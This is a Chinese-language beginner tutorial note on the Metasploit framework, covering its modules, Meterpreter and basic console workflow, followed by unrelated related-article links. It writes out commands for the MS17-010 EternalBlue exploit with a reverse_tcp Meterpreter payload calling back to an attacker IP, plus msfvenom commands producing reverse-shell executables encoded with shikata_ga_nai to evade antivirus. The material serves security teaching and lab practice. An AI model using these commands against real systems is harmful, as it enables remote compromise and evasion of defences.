Metasploit工具使用详解(上)丨小白WEB安全入门笔记
Metasploit工具使用详解(上)丨小白WEB安全入门笔记
一、课程定位与工具概述
-
课程性质:
- 小白WEB安全入门课程
- 聚焦基础操作,非深度专题(Metasploit专题可讲数十节课)
- 目标:掌握基本概念和简单漏洞利用
-
Metasploit核心定义:
- 渗透测试框架(Penetration Testing Framework)
- 用Ruby编写的代码库
- 核心功能:漏洞扫描、漏洞验证、攻击载荷生成、反病毒绕过
-
版本区别:
版本类型 特点 开源免费版 命令行操作(MSFconsole),模块代码公开,易被反病毒软件识别 商业Pro版 图形化界面(GUI),自动化渗透,闭源代码具备免杀能力(AntiVirus Bypass) -
运行环境要求:
- 跨平台支持(Kali Linux/Windows/macOS/Ubuntu等)
- 强制依赖:Ruby语言环境(通过
gem
安装必要库) - 预装环境推荐:PentestBox/Kali Linux
二、Metasploit核心组件解析
1. 模块分类与功能
模块类型 | 作用 | 实例 |
---|---|---|
Exploit | 漏洞利用模块(导弹载体) | windows/smb/ms17_010_eternalblue |
Payload | 攻击载荷(导弹弹头),决定攻击后行为 | windows/meterpreter/reverse_tcp |
Auxiliary | 辅助模块(端口扫描/服务发现) | scanner/portscan/tcp |
Encoder | 载荷编码器(免杀混淆) | x86/shikata_ga_nai |
Post | 后渗透模块 |
2. Meterpreter核心功能
- 作用:高级内存驻留型后渗透控制端
- 核心能力:
- 多会话管理(同时控制多个肉鸡)
- 文件系统操作(上传/下载/执行)
- 屏幕截图/键盘记录
- 权限提升(getsystem)
三、基础操作流程
1. MSFconsole启动与信息查看
msfconsole # 启动控制台
banner # 查看动态标识
version # 检查版本信息
2. 模块搜索与调用
search type:exploit name:ms17-010 # 按漏洞编号搜索
use exploit/windows/smb/ms17_010_eternalblue # 加载模块
info # 查看模块详情
3. 参数配置关键项
show options # 查看必填参数
set RHOSTS 192.168.1.100 # 设置目标IP
set PAYLOAD windows/meterpreter/reverse_tcp # 配置载荷
set LHOST 10.0.0.5 # 设置监听IP(攻击机)
set LPORT 4444 # 设置监听端口
4. 攻击执行与会话管理
exploit # 执行攻击(或run)
sessions -l # 查看活跃会话
sessions -i 1 # 进入会话1
四、技术要点详解
1. Payload生成机制
- 生成命令:
msfvenom
(独立工具) - 支持格式:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe -o payload.exe
- 输出格式选项:
exe
(可执行文件)|asp
(网页脚本)|war
(Java应用)|psh
(PowerShell)
2. 免杀混淆技术
- 核心命令:
msfvenom
的-e
参数msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -f exe
- 参数说明:
-e
指定编码器 |-i
迭代次数(增强混淆)
3. 工作流关键比喻
组件 | 军事比喻 | 技术作用 |
---|---|---|
Exploit | 导弹发射系统 | 突破目标防御 |
Payload | 弹头战斗部 | 植入后门/执行恶意代码 |
Meterpreter | 指挥控制中心 | 远程控制被攻陷主机 |
五、学习路径建议
-
优先掌握:
- 漏洞搜索(
search
)与模块调用(use
) - 基础参数配置(
RHOSTS/LHOST/PAYLOAD
) - 会话管理(
sessions
)
- 漏洞搜索(
-
实验重点:
- 使用
ms17-010
漏洞攻击Windows靶机 - 生成免杀Payload并测试绕过基础杀软
- 使用
-
进阶方向:
- 研究Ruby编写的模块源码(开源版)
- 学习Post模块进行后渗透操作
下节课预告:Metasploit实战漏洞攻击演示(含MS17-010操作案例)
总结
本课系统解析了Metasploit框架的核心架构与基础操作,重点强调:
- 框架定位:Ruby编写的渗透测试工具,分开源免费版(命令行)和商业Pro版(GUI/免杀)
- 模块化设计:Exploit(漏洞利用)、Payload(攻击载荷)、Auxiliary(辅助扫描)分工明确
- 工作流核心:搜索模块→配置参数(RHOSTS/LHOST/PAYLOAD)→执行攻击→会话管理
- 新手优先级:掌握
msfconsole
基础命令流,理解Exploit-Payload-Meterpreter协作机制 - 安全警示:开源版Payload易被检测,需配合编码器(Encoder)实现基础免杀
相关文章:
Metasploit工具使用详解(上)丨小白WEB安全入门笔记
Metasploit工具使用详解(上)丨小白WEB安全入门笔记 一、课程定位与工具概述 课程性质: 小白WEB安全入门课程聚焦基础操作,非深度专题(Metasploit专题可讲数十节课)目标:掌握基本概念和简单漏洞利用 Metasploit核心定…...
Femap许可证与网络安全策略
随着科技的快速发展,网络安全问题已成为各行各业关注的焦点。在电磁仿真领域,Femap作为一款领先的软件,其许可证的安全性和网络策略的重要性不言而喻。本文将探讨Femap许可证与网络安全策略的关系,确保您的电磁仿真工作能够在一个…...

VLAN的作用和原理
1. 为什么要有vlan? 分割广播域,避免广播风暴,造成网络资源的浪费 可以灵活的组网,便于管理,同时还有安全加固的功能 2. vlan是怎么实现的?端口的原理? 设置VLAN后,流量之间的转…...

深入探讨集合与数组转换方法
目录 1、Arrays.asList() 1.1、方法作用 1.2、内部实现 1.3、修改元素的影响 1.4、注意事项 2、list.toArray() 2.1、方法作用 2.2、内部实现 2.3、修改元素的影响 2.4、特殊情况 1、对象引用 2、数组copy 3、对比总结 4、常见误区与解决方案 5、实际应用建议…...
让大模型看得见自己的推理 — KnowTrace结构化知识追踪
让大模型“看得见”自己的推理 —— KnowTrace 结构化知识追踪式 RAG 全解析 一句话概括:把检索-推理“改造”成 动态知识图构建任务,再让 LLM 只关注这张不断精炼的小图 —— 这就是显式知识追踪的核心价值。 1. 背景:为什么 RAG 仍难以搞定多跳推理? 长上下文负担 传统 I…...

【HarmonyOS 5应用架构详解】深入理解应用程序包与多Module设计机制
⭐本期内容:【HarmonyOS 5应用架构详解】深入理解应用程序包与多Module设计机制 🏆系列专栏:鸿蒙HarmonyOS:探索未来智能生态新纪元 文章目录 前言应用与应用程序包应用程序的基本概念应用程序包的类型标识机制应用安装流程 应用的…...

【Oracle】DCL语言
个人主页:Guiat 归属专栏:Oracle 文章目录 1. DCL概述1.1 什么是DCL?1.2 DCL的核心功能 2. 用户管理2.1 创建用户2.2 修改用户2.3 删除用户2.4 用户信息查询 3. 权限管理3.1 系统权限3.1.1 授予系统权限3.1.2 撤销系统权限 3.2 对象权限3.2.1…...

MySQL强化关键_017_索引
目 录 一、概述 二、索引 1.主键索引 2.唯一索引 3.查看索引 4.添加索引 (1)建表时添加 (2)建表后添加 5.删除索引 三、树 1.二叉树 2.红黑树 3.B树 4.B树 (1)为什么 MySQL 选择B树作为索引…...
stm32——SPI协议
stm32——SPI协议 STM32的SPI(Serial Peripheral Interface,串行外设接口)协议是一种高速、全双工、同步的串行通信协议,广泛评估微控制器与各种外设(如传感器、器件、显示器、模块等)之间的数据传输。STM3…...
Linux 下如何查看进程的资源限制信息?
简介 Linux 上的 cat /proc/$pid/limits 命令提供有关特定进程的资源限制的信息,其中 $pid 是相关进程的进程 ID (pid)。该文件是 /proc 文件系统的一部分,该文件系统是一个虚拟文件系统,提供有关进程和系统资源的信息…...

【备忘】php命令行异步执行超长时间任务
环境说明: 操作系统:windows10 IDE:phpstorm 开发语言:php7.4 框架:thinkphp5.1 测试环境:linuxwindows均测试通过。 初级方法: function longRunningTask() {$root_path Tools::get_ro…...
对于ARM开发各种手册的分类
手册名称全称主要内容适用范围是不是讲SysTick?Cortex-M3 Technical Reference Manual (TRM)Cortex-M3 Technical Reference Manual描述 Cortex-M3内核架构,如寄存器模型、总线接口、指令集、异常模型只适合 Cortex-M3 内核,不含外设❌ 没有C…...
java开发中#和$的区别
在Spring框架中,$ 和 # 是两种不同的表达式前缀,用于从不同的来源获取值或执行计算。下面详细解释它们的区别和用法: 一、$ 占位符(Property Placeholder) 1. 作用 从配置文件(如 application.propertie…...

在 RK3588 上通过 VSCode 远程开发配置指南
在 RK3588 上通过 VSCode 远程开发配置指南 RK3588 设备本身不具备可视化编程环境,但可以通过 VSCode 的 Remote - SSH 插件 实现远程代码编写与调试。以下是完整的配置流程。 一、连接 RK3588 1. 安装 Debian 系统 先在 RK3588 上安装 Debian 操作系统。 2. 安…...

OpenHarmony标准系统-HDF框架之音频驱动开发
文章目录 引言OpenHarmony音频概述OpenHarmony音频框图HDF音频驱动框架概述HDF音频驱动框图HDF音频驱动框架分析之音频设备驱动HDF音频驱动框架分析之supportlibs实现HDF音频驱动框架分析之hdi-passthrough实现HDF音频驱动框架分析之hdi-bindev实现HDF音频驱动加载过程HDF音频驱…...

HTML Day03
Day03 0. 引言1. CSS1.1 CSS的3种使用方法1.2 内联样式1.3 内部样式表1.4 外部CSS文件 2. 图像3. 表格3.1单元格间距和单元格边框 4. 列表4.1 有序表格的不同类型4.2 不同类型的无序表格4.3 嵌套列表 5. 区块6. 布局6.1 div布局6.2 表格布局 0. 引言 HELLO ^ _ ^大家好…...

篇章六 数据结构——链表(二)
目录 1. LinkedList的模拟实现 1.1 双向链表结构图编辑 1.2 三个简单方法的实现 1.3 头插法 1.4 尾插法 1.5 中间插入 1.6 删除 key 1.7 删除所有key 1.8 clear 2.LinkedList的使用 2.1 什么是LinkedList 5.2 LinkedList的使用 1.LinkedList的构造 2. LinkedList的…...
Python60日基础学习打卡Day39
昨天我们介绍了图像数据的格式以及模型定义的过程,发现和之前结构化数据的略有不同,主要差异体现在2处 模型定义的时候需要展平图像由于数据过大,需要将数据集进行分批次处理,这往往涉及到了dataset和dataloader来规范代码的组织…...

吴恩达MCP课程(3):mcp_chatbot
原课程代码是用Anthropic写的,下面代码是用OpenAI改写的,模型则用阿里巴巴的模型做测试 .env 文件为: OPENAI_API_KEYsk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx OPENAI_API_BASEhttps://dashscope.aliyuncs.com/compatible-mode…...
MySQL访问控制与账号管理:原理、技术与最佳实践
MySQL的安全体系建立在精细的访问控制和账号管理机制上。本文基于MySQL 9.3官方文档,深入解析其核心原理、关键技术、实用技巧和行业最佳实践。 一、访问控制核心原理:双重验证机制 连接验证 (Connection Verification) 客户端发起连接时,MyS…...
AWS 创建VPC 并且添加权限控制
AWS 创建VPC 并且添加权限控制 以下是完整的从0到1在AWS中创建VPC并配置权限的步骤(包含网络配置、安全组权限和实例访问): 1. 创建VPC 步骤: 登录AWS控制台 访问 AWS VPC控制台,点击 创建VPC。 配置基础信息 名称…...
langchain学习 01
dotenv库:可以从.env文件中加载配置信息。 from dotenv import load_dotenv # 加载函数,之后调用这个函数,即可获取配置环境.env里面的内容: deep_seek_api_key<api_key>getpass库:从终端输入password性质的内…...

【清晰教程】查看和修改Git配置情况
目录 查看安装版本 查看特定配置 查看全局配置 查看本地仓库配置 设置或修改配置 查看安装版本 打开命令行工具,通过version命令检查Git版本号。 git --version 如果显示出 Git 的版本号,说明 Git 已经成功安装。 查看特定配置 如果想要查看特定…...

JAVA 常用 API 正则表达式
1 正则表达式作用 作用一:校验字符串是否满足规则作用二:在一段文本中查找满足要求的内容 2 正则表达式规则 2.1 字符类 package com.bjpowernode.test14;public class RegexDemo1 {public static void main(String[] args) {//public boolean matche…...

光电设计大赛智能车激光对抗方案分享:低成本高效备赛攻略
一、赛题核心难点与备赛痛点解析 全国大学生光电设计竞赛的 “智能车激光对抗” 赛题,要求参赛队伍设计具备激光对抗功能的智能小车,需实现光电避障、目标识别、轨迹规划及激光精准打击等核心功能。从历年参赛情况看,选手普遍面临三大挑战&a…...

Python实现P-PSO优化算法优化BP神经网络回归模型项目实战
说明:这是一个机器学习实战项目(附带数据代码文档),如需数据代码文档可以直接到文章最后关注获取。 1.项目背景 在当今数据驱动的时代,回归分析作为预测和建模的重要工具,在科学研究和工业应用中占据着重要…...

Microsoft的在word中选择文档中的所有表格进行字体和格式的调整时的解决方案
找到宏 创建 并粘贴 使用 Sub 全选所有表格() Dim t As Table an MsgBox("即将选择选区内所有表格,若无选区,则选择全文表格。", vbYesNo, "reboot提醒您!") If an - 6 Then Exit Sub Set rg IIf(Selection.Type wdSelectionIP, …...

C++23:关键特性与最新进展深度解析
文章目录 范围的新功能与增强元组的优化与新特性字符与字符串的转义表示优化std::thread::id的改进与扩展栈踪迹的格式化支持结论 C23作为C标准的最新版本,带来了许多令人瞩目的改进和新特性。从新的范围和元组功能到对字符和字符串转义表示的优化,再到 …...
Rust并发编程实践指南
Rust并发编程实践指南 一、Rust并发编程哲学 mindmaproot((Rust并发))Ownership System▶ 移动语义▶ 借用规则Type Safety▶ Send Trait▶ Sync TraitZero-Cost Abstraction▶ 无运行时开销▶ 编译期检查Fearless Concurrency▶ 数据竞争预防▶ 死锁检测工具二、核心并发模型…...
Kubernetes资源申请沾满但是实际的资源占用并不多,是怎么回事?
Kubernetes资源申请沾满但是实际的资源占用并不多是Kubernetes资源管理中的一个常见误解。 K8s资源管理机制 资源请求(Requests) vs 实际使用量 从你的截图可以看到: K8s节点资源状态(第一张图): CPU请求量:13795…...